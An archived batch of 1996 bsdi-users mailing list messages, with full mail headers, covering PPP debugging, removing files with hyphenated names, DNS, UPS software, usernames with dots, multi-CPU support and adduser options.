PPP ASYNC 21 Octets IP_NCP Config-Req ID=2f LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:43:59 000059 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=14 LEN=10 IPADDR=159.148.187.199 17:43:59 000060 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 0b 14 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=14 LEN=10 IPADDR=159.148.187.199 17:44:02 000061 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=30 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:02 000062 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=15 LEN=10 IPADDR=159.148.187.199 17:44:02 000063 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 15 } PPP ASYNC 15 Octets NB IP_NCP Config-ACK ID=15 LEN=10 IPADDR=159.148.187.199 17:44:05 000064 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=31 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:05 000065 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=16 LEN=10 IPADDR=159.148.187.199 17:44:05 000066 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 16 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=16 LEN=10 IPADDR=159.148.187.199 17:44:08 000067 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=32 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:08 000068 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=17 LEN=10 IPADDR=159.148.187.199 17:44:08 000069 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 17 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=17 LEN=10 IPADDR=159.148.187.199 17:44:11 000070 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=33 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:11 000071 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=18 LEN=10 IPADDR=159.148.187.199 17:44:11 000072 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 18 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=18 LEN=10 IPADDR=159.148.187.199 17:44:14 000073 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets IP_NCP Config-Req ID=34 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:14 000074 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=19 LEN=10 IPADDR=159.148.187.199 17:44:14 000075 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 19 } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=19 LEN=10 IPADDR=159.148.187.199 17:44:17 000076 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 1d } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=35 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:17 000077 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=1a LEN=10 IPADDR=159.148.187.199 17:44:17 000078 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 1a } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=1a LEN=10 IPADDR=159.148.187.199 17:44:20 000079 ipdptp0 RECEIVE {Unescaped characters: 00 01 02 03 06 0f 10 } PPP ASYNC 21 Octets NB IP_NCP Config-Req ID=36 LEN=16 VJCOMP MAXSID=15 No-sid-comp IPADDR=159.148.187.1 17:44:20 000080 ipdptp0 SEND PPP ASYNC 15 Octets (A) IP_NCP Config-Req ID=1b LEN=10 IPADDR=159.148.187.199 17:44:20 000081 ipdptp0 RECEIVE {Unescaped characters: 00 02 03 06 0a 1b } PPP ASYNC 15 Octets IP_NCP Config-ACK ID=1b LEN=10 IPADDR=159.148.187.199 17:44:23 000082 ipdptp0 RECEIVE PPP ASYNC 9 Octets LCP Term-REQ ID=00 LEN=4 17:44:23 000083 ipdptp0 SEND PPP ASYNC 9 Octets LCP Term-ACK ID=00 LEN=4 17:44:27 000084 ipdptp0 PPP DIAG CLOSE 17:44:37 Link manager (522) exited 11/28/96 Thanks for your time! Mihails Nikitins ======================================================== Infoserv-Riga Ltd. Phone: +371-2-558439 14, Dzerbenes Str. Fax: +371-7828211 Riga, LV-1006 e-mail: nikitins@infoservriga.lv Latvia http://www.infoservriga.lv ======================================================== From VM Sun Dec 1 18:03:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["245" "" "29" "November" "1996" "18:56:10" "GMT" "Rob Kouwenberg" "robk@stack.urc.tue.nl" nil "11" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA10375 for ; Fri, 29 Nov 1996 14:10:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA01759 for bsdi-users-outgoing; Fri, 29 Nov 1996 14:06:46 -0500 (EST) Path: triple!robk Newsgroups: info.bsdi.users Organization: MCGV Stack, Eindhoven University of Technology, the Netherlands. Lines: 10 Message-ID: <57nbka$ae8@tuegate.tue.nl> References: NNTP-Posting-Host: triple.stack.nl X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: robk@stack.urc.tue.nl (Rob Kouwenberg) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: files with a - in them Date: 29 Nov 1996 18:56:10 GMT Brian Backer (bbacker@mail.blink.net) wrote: : -* Try rm -i ?* Better have a better matching string in place of * though. Good luck, best regards, Rob Kouwenberg -- [ robk@stack.urc.tue.nl,Gr.Adolfstraat86,5616BX,Eindhoven,The Netherlands ] From VM Sun Dec 1 18:03:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["933" "Fri" "29" "November" "1996" "14:02:40" "-0500" "Rick Frerichs" "rick@swcbbs.com" nil "29" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA10380 for ; Fri, 29 Nov 1996 14:11:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA01736 for bsdi-users-outgoing; Fri, 29 Nov 1996 14:02:52 -0500 (EST) Message-Id: <199611291902.OAA00916@swcbbs.com> Precedence: bulk From: Rick Frerichs Sender: owner-bsdi-users@lists.gateway.com To: bbacker@mail.blink.net, bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 14:02:40 -0500 from the man page for "rm" Users often wonder how to deal with filenames that begin with ``-'', giv- en that arguments that begin with ``-'' are usually treated as flags. The special flag ``--'' tells programs not to interpret following argu- ments as flags. Thus, to delete a file named ``-foo'', type: rm -- -foo Rick Frerichs Software Creations Software Creations Lancaster, MA rick@swcbbs.com (508) 365-3808 > From owner-bsdi-users@lists.gateway.com Fri Nov 29 02:33:07 1996 > From: Brian Backer > To: bsdi-users@BSDI.COM > Subject: files with a - in them > MIME-Version: 1.0 > Sender: owner-bsdi-users@lists.gateway.com > > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > > From VM Sun Dec 1 18:03:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["840" "Fri" "29" "November" "1996" "13:49:51" "-0400" "JEFFREY ANDREW CAMPBELL" "jeffreyc@ug.cs.dal.ca" nil "29" "Re: Simple DNS Q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA10384 for ; Fri, 29 Nov 1996 14:11:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA01753 for bsdi-users-outgoing; Fri, 29 Nov 1996 14:06:28 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: JEFFREY ANDREW CAMPBELL Sender: owner-bsdi-users@lists.gateway.com To: Bill Becker cc: bsdi-users@BSDI.COM Subject: Re: Simple DNS Q Date: Fri, 29 Nov 1996 13:49:51 -0400 On Fri, 29 Nov 1996, Bill Becker wrote: > > > ch1:/usr/local/bin nslookup > > Default Server: ch1.hfxcable.com > > Address: 0.0.0.0 > > > > > exit > > That's normal if you are running nslookup on your primary nameserver. Try > running nslookup at the console of another host inside your domain. Also, > check /etc/resolv.conf and it's manpage for more details. And of course, > you have a copy of 'DNS & BIND', right? I am running it on a primary. And I did have a copy of DNS and Bind but I need to pick up another. :) > > I'd advise you not to `fix` it. Interesting. Ok. Sounds good to me. -- Jeffrey A. Campbell : "The irony of the telecommunications Internet Services Manager : industry is that change Halifax Cable : is constant." jac@mail.hfxcable.com : (902) 453-2800 x156 : http://www.hfxcable.com From VM Sun Dec 1 18:03:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1950" "Fri" "29" "November" "1996" "13:40:20" "-0600" "Chris Michael" "cm@rmsbus.com" nil "54" "RE: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA11486 for ; Fri, 29 Nov 1996 14:57:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id OAA01856 for bsdi-users-outgoing; Fri, 29 Nov 1996 14:44:06 -0500 (EST) Message-ID: X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: Chris Michael Sender: owner-bsdi-users@lists.gateway.com To: "'BSD mailing list'" , "'Gail A. Harless'" Subject: RE: BSDI/APC Back-UPS Date: Fri, 29 Nov 1996 13:40:20 -0600 The only UPS with software that I could find was Tripp Lite. They have an old version of their software that works with BSDI that you can special order. There is a serious bug, although an easily fixed one, in their install script. It identifies the wrong os type and then erases your rc file (after making a copy, fortunately). To fix it, look though the script until you get to the end of the massive nested if statements that try to determine the os, and then just plug the value for bsdi into the variable that should have gotten set automatically. The software's pretty basic, but it does do an orderly shutdown when power is lost. Here's someone at Tripp Lite that knows about the product: Tom Townsend: 312 923 2242 Good luck. Chris >---------- >From: Gail A. Harless[SMTP:gailh@freedom.landoflakes.com] >Sent: Thursday, November 28, 1996 2:01 PM >To: BSD mailing list >Subject: BSDI/APC Back-UPS > >I just purchased an APC Back-UPS Model 600 only to find out that there is >no software available from APC to interface with my BSDI on my server. In >addition, I cannot find a cable to connect the baackup unit with the >server. Should I send the unit back or is there a way around this >problem? Does anyone know of another battery backkup that comes with >software to interface with BSDI? Does anyone know of a cable? Has anyone >written software to connect the APC unit with their BSDI server? I need >advice ASAP because we are just starting to sign up customers. > >Regards, >Tim Harless > >***************************************************************************** >* > Land of Lakes Communications > Setting New Standards in Quality and Customer Service > > > http://www.LandofLakes.com > gailh@LandofLakes.com (612) 462-1285 >***************************************************************************** >* > > > From VM Sun Dec 1 18:03:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1102" "Fri" "29" "November" "1996" "16:06:23" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "27" "FYI... good CPU prices..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA13924 for ; Fri, 29 Nov 1996 16:26:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA02192 for bsdi-users-outgoing; Fri, 29 Nov 1996 16:06:59 -0500 (EST) Message-Id: <199611292106.QAA04961@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: kedar@asacomputers.com cc: bsdi-users@BSDI.COM Subject: FYI... good CPU prices... Date: Fri, 29 Nov 1996 16:06:23 -0500 Received: from sun.lclark.edu (sun.lclark.edu [149.175.1.1]) by kalypso.cybercom.net (8.8.3/8.6.12) with SMTP id SAA24676 for ; Wed, 27 Nov 1996 18:33:56 -0500 (EST) Received: (from waite@localhost) by sun.lclark.edu (8.6.11/8.6.11) id PAA10361; Wed, 27 Nov 1996 15:12:10 -0800 Date: Wed, 27 Nov 1996 15:12:09 -0800 (PST) From: Jeremy Waite To: jparnas@jparnas.cybercom.net Subject: Re: cpu prices In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Your cpu's will arrive this friday, not monday. I payed extra so you could tinker with your system over the weekend as you requested. Anyway tell your buddy that my prices are as follows... P6 Pro 200 w/256k cache $803.00 P6 Pro 200 w/512k cache $1097.00 Have fun building your system, you might even try overclocking your chips to 233mhz for a little extra zip. Talk to you soon. ==Jeremy Waite== waite@lclark.edu ================ > From VM Sun Dec 1 18:03:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1129" "Fri" "29" "November" "1996" "13:18:51" "-0800" "Robert E. Gahl" "bgahl@thesphere.com" nil "36" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA13929 for ; Fri, 29 Nov 1996 16:27:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA02240 for bsdi-users-outgoing; Fri, 29 Nov 1996 16:19:06 -0500 (EST) Message-Id: <3.0.32.19961129131845.00933270@mailhost.thesphere.com> X-Sender: bgahl@mailhost.thesphere.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Robert E. Gahl" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 13:18:51 -0800 At 02:02 PM 11/29/96 -0500, Rick Frerichs wrote: > > rm -- -foo > >> From: Brian Backer >> Subject: files with a - in them >> MIME-Version: 1.0 >> >> Anyone every had any luck getting rid of files with names >> starting like >> >> -* >> >> That "-" really screws things up, if ther is a way, please let me know. There is a more generic way to get rid of "badly" named files, but it involves using (gasp!) 'find'. Do an 'ls -alis' on the directory and get the inode number of the file (usually the left most number in the row). Then do, in the directory containing the file: find . -inum [inode number here] -exec rm -rf {} \; -print The -print is for confirmation of file deletion. For any strange file name, this will get rid of it. Bob Gahl Bicycle (Ryan Vanguard) Mobile || @ ARPA/Internet: bgahl@thesphere.com || !_ \ URL: http://www.thesphere.com/~bgahl/ || (*)-~--+--(*) "If you're trying to be politically correct you're like a chameleon in front of a mirror. What can you say that won't be offensive to somebody?" Robin Williams From VM Sun Dec 1 18:03:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["653" "Fri" "29" "November" "1996" "15:58:19" "-0600" "Gail A. Harless" "gailh@freedom.landoflakes.com" nil "27" "Re: Solaris 2.4. -> BSD/OS 2.0: PPP problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14752 for ; Fri, 29 Nov 1996 17:01:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA02297 for bsdi-users-outgoing; Fri, 29 Nov 1996 16:47:32 -0500 (EST) In-Reply-To: <329F2E99.4F94@infoservriga.lv> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Gail A. Harless" Sender: owner-bsdi-users@lists.gateway.com To: Mihails Nikitins cc: bsdi-users@BSDI.COM Subject: Re: Solaris 2.4. -> BSD/OS 2.0: PPP problems Date: Fri, 29 Nov 1996 15:58:19 -0600 (CST) On Fri, 29 Nov 1996, Mihails Nikitins wrote: > Hello net, > > I'm trying to establish PPP connection between Solaris 2.4 and BSD/OS > 2.0.1. SNIP > What could it be, gentlemen? Does that mean I'm not allowed to answer? :) Regards, Gail ****************************************************************************** Land of Lakes Communications Setting New Standards in Quality and Customer Service http://www.LandofLakes.com gailh@LandofLakes.com (612) 462-1285 ****************************************************************************** From VM Sun Dec 1 18:03:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["353" "Fri" "29" "November" "1996" "15:04:11" "-0700" "Edwin C. Philips" "edwin@tcs.tcsourceone.com" nil "13" "ftp ownership philisophy" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA15020 for ; Fri, 29 Nov 1996 17:08:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA02358 for bsdi-users-outgoing; Fri, 29 Nov 1996 16:59:01 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Edwin C. Philips" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ftp ownership philisophy Date: Fri, 29 Nov 1996 15:04:11 -0700 (MST) I was scanning the info provided by BSDI on setting up anonftp. They suggest you set the ownership on all your anonftp stuff to the user ftp. I've never noticed this to be the case on most sites I've ftp'ed to. Many actually belong to root. So I was wondering what are other people doing, and why? Thanks, Edwin C. Philips edwin@tcsourceone.com From VM Sun Dec 1 18:03:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1151" "Sat" "30" "November" "1996" "10:16:28" "+1030" "Stavros Patiniotis" "stavros@bang.esc.net.au" nil "27" "Re: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA17712 for ; Fri, 29 Nov 1996 18:56:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA02583 for bsdi-users-outgoing; Fri, 29 Nov 1996 18:47:31 -0500 (EST) In-Reply-To: <199611290136.UAA17728@puppy.easynet.on.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stavros Patiniotis Sender: owner-bsdi-users@lists.gateway.com To: Barry Hemphill cc: bsdi-users@BSDI.COM, "Y.F.SysAdmin" Subject: Re: Usernames with a . in them Date: Sat, 30 Nov 1996 10:16:28 +1030 (CST) Barry, > From the man pages for passwd (5): > The login name must never begin with a hyphen (``-''); also, it > is strongly suggested that neither upper-case characters or dots > (``.'') be part of the name, as this tends to confuse mailers. > > Whether this is still an issue today I couldn't tell you, but none of > my users have dots in their logins. If anyone knows more on the > topic, I'd certainly be interested to hear - I hate when I do > something without clearly understanding the reasoning behind it, and > I suspect others on the list might be interested as well. A lot of university have lecturers names in full ie john.smith@uni.edu I suppose it helps them keep a track of who is who. Regards, Stavros Patiniotis ------------------------------------------------------------------------------ -System Administrator / Network Manager Escape.Net - - 465b South Rd - -email: stavros@esc.net.au Keswick SA 5035 - -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- ------------------------------------------------------------------------------ From VM Sun Dec 1 18:03:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["637" "Fri" "29" "November" "1996" "19:51:45" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "13" "Re: Usernames with a . in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA19594 for ; Fri, 29 Nov 1996 20:00:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA02707 for bsdi-users-outgoing; Fri, 29 Nov 1996 19:52:27 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Stavros Patiniotis cc: bsdi-users@BSDI.COM Subject: Re: Usernames with a . in them Date: Fri, 29 Nov 1996 19:51:45 -0500 (EST) > A lot of university have lecturers names in full ie john.smith@uni.edu > I suppose it helps them keep a track of who is who. Careful, there are two separate issues here. Many organizations have *mail aliases* which are full names with the parts separated by periods, but often the actual login names are much shorter. (For example, there is one site, at one of my consulting clients, where you can send me mail as "henry.spencer", but in fact my login name there is "spencerh".) Henry Spencer henry@zoo.toronto.edu From VM Sun Dec 1 18:03:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2653" "Fri" "29" "November" "1996" "20:31:15" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "71" "Re: BSDI/APC Back-UPS " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA20405 for ; Fri, 29 Nov 1996 20:38:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA02751 for bsdi-users-outgoing; Fri, 29 Nov 1996 20:31:37 -0500 (EST) Message-Id: <199611300131.UAA05655@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 29 Nov 1996 13:40:20 CST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Chris Michael cc: "'BSD mailing list'" , "'Gail A. Harless'" Subject: Re: BSDI/APC Back-UPS Date: Fri, 29 Nov 1996 20:31:15 -0500 Which tripplite models will (or won't) work with BSDI? About how much should it cost (the cheapest) and does anyone know of a good source? Thanks, Jacob --- In message you write: >The only UPS with software that I could find was Tripp Lite. They have >an old version of their software that works with BSDI that you can >special order. > >There is a serious bug, although an easily fixed one, in their install >script. It identifies the wrong os type and then erases your rc file >(after making a copy, fortunately). To fix it, look though the script >until you get to the end of the massive nested if statements that try to >determine the os, and then just plug the value for bsdi into the >variable that should have gotten set automatically. > >The software's pretty basic, but it does do an orderly shutdown when >power is lost. > >Here's someone at Tripp Lite that knows about the product: Tom >Townsend: 312 923 2242 > > >Good luck. > >Chris > >>---------- >>From: Gail A. Harless[SMTP:gailh@freedom.landoflakes.com] >>Sent: Thursday, November 28, 1996 2:01 PM >>To: BSD mailing list >>Subject: BSDI/APC Back-UPS >> >>I just purchased an APC Back-UPS Model 600 only to find out that there is >>no software available from APC to interface with my BSDI on my server. In >>addition, I cannot find a cable to connect the baackup unit with the >>server. Should I send the unit back or is there a way around this >>problem? Does anyone know of another battery backkup that comes with >>software to interface with BSDI? Does anyone know of a cable? Has anyone >>written software to connect the APC unit with their BSDI server? I need >>advice ASAP because we are just starting to sign up customers. >> >>Regards, >>Tim Harless >> >>***************************************************************************** >>* >> Land of Lakes Communications >> Setting New Standards in Quality and Customer Service >> >> >> http://www.LandofLakes.com >> gailh@LandofLakes.com (612) 462-1285 >>***************************************************************************** >>* >> >> >> > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Sun Dec 1 18:03:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1185" "Fri" "29" "November" "1996" "16:55:40" "-0500" "Kurt J. Lidl" "lidl@va.pubnix.com" nil "29" "Re: Dual CPU (Was: Improving performance of processes that use passwd.) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA20673 for ; Fri, 29 Nov 1996 20:42:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA02796 for bsdi-users-outgoing; Fri, 29 Nov 1996 20:41:44 -0500 (EST) Message-Id: In-reply-to: Your message of "Fri, 29 Nov 1996 09:45:24 CST." <199611291545.JAA20200@frshaire.wiz.com> Precedence: bulk From: "Kurt J. Lidl" Sender: owner-bsdi-users@lists.gateway.com To: Marc Wiz cc: bsdi-users@BSDI.COM Subject: Re: Dual CPU (Was: Improving performance of processes that use passwd.) Date: Fri, 29 Nov 1996 16:55:40 -0500 >> Look at your cpu usage. Is your CPU 100% busy? Mine is 90% idle. >> Will an additional idle CPU really make the system faster? > >Multiple CPU's are good when you have more than one CPU intensive >process. It is also good if you have threads (BSD 3.0 will according >to the list) where more than one thread is CPU intensive. Only if your threading implementation can split threads across multiple processors. Certainly the common 'pthreads' style threads cannot do that. Mach could, SunOS 4.X couldn't, Solaris 2.X can. Digital Unix, is rumored to be able to do it. NT 3.5X and 4.0 can do it. It's entirely too vacuous to talk about -- BSDi has said that 3.0 will have threads. They have said that 3.0 will not have SMP support. Therefore, it's a really safe assumption to make that having a second CPU under 3.0 as first shipped is entirely useless, with or without a threaded program to run. >> Mind you when you're compiling a squillion programs, and when you've got >> a parallel make, those extra CPU's do help. > >Or when someone writes a threaded program that can take advantage of multiple >CPU's. Or even if you use the "-pipe" option to the compiler. -Kurt From VM Sun Dec 1 18:03:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["299" "Fri" "29" "November" "1996" "19:35:22" "-0700" "Jason Grovert" "jason@webnetdesign.com" nil "5" "Secondary Name Server .. ??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA24456 for ; Fri, 29 Nov 1996 23:14:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03080 for bsdi-users-outgoing; Fri, 29 Nov 1996 23:03:54 -0500 (EST) Message-Id: <3.0.32.19961129193520.006a0304@azwinn.com> X-Sender: webmaster@azwinn.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Jason Grovert Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Secondary Name Server .. ?? Date: Fri, 29 Nov 1996 19:35:22 -0700 I need someone to be my secondary name server. Does anyone know of a company that does this.. or can anyone out there do this for me? I can be secondary name server for someone else if you want to trade nameservers.. (kinda like baseball cards.. I guess) .. anyways.. let me know. -Jason Grovert From VM Sun Dec 1 18:03:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["661" "Fri" "29" "November" "1996" "19:44:28" "-0500" "David Morrison" "speed@salamander.com" nil "16" "Re: adduser -D" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA24457 for ; Fri, 29 Nov 1996 23:14:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03074 for bsdi-users-outgoing; Fri, 29 Nov 1996 23:03:40 -0500 (EST) Message-Id: <3.0.32.19961129194426.00ac33dc@eniac.salamander.com> X-Sender: speed@eniac.salamander.com X-Mailer: Windows Eudora Pro Version 3.0 Demo (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: David Morrison Sender: owner-bsdi-users@lists.gateway.com To: Donald Dahlman , bsdi-users@BSDI.COM Subject: Re: adduser -D Date: Fri, 29 Nov 1996 19:44:28 -0500 At 11:14 AM 11/30/96 -0600, Donald Dahlman wrote: >Trying to modify default adduser to make all new user >directories r-x------ on creation. have tried command >adduser -D -m500 but it does not seem to work. Try adduser -D -m0500 =dm= --------------------------------------------------------------------- David Morrison | http://www.salamander.com/~speed/ <--------| speed@salamander.com | http://www.salamander.com/bike.html <--------| System Administrator |--> Member Matt's Script Archive Help Team | Salamander.Com |--> see http://www.worldwidemart.com/scripts/ | --------------------------------------------------------------------- From VM Sun Dec 1 18:03:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["796" "" "30" "November" "1996" "03:08:39" "GMT" "spankboy@cronvision.com" "spankboy@cronvision.com" nil "27" "Re: Running on a Dual Pentium system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA24463 for ; Fri, 29 Nov 1996 23:14:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA03092 for bsdi-users-outgoing; Fri, 29 Nov 1996 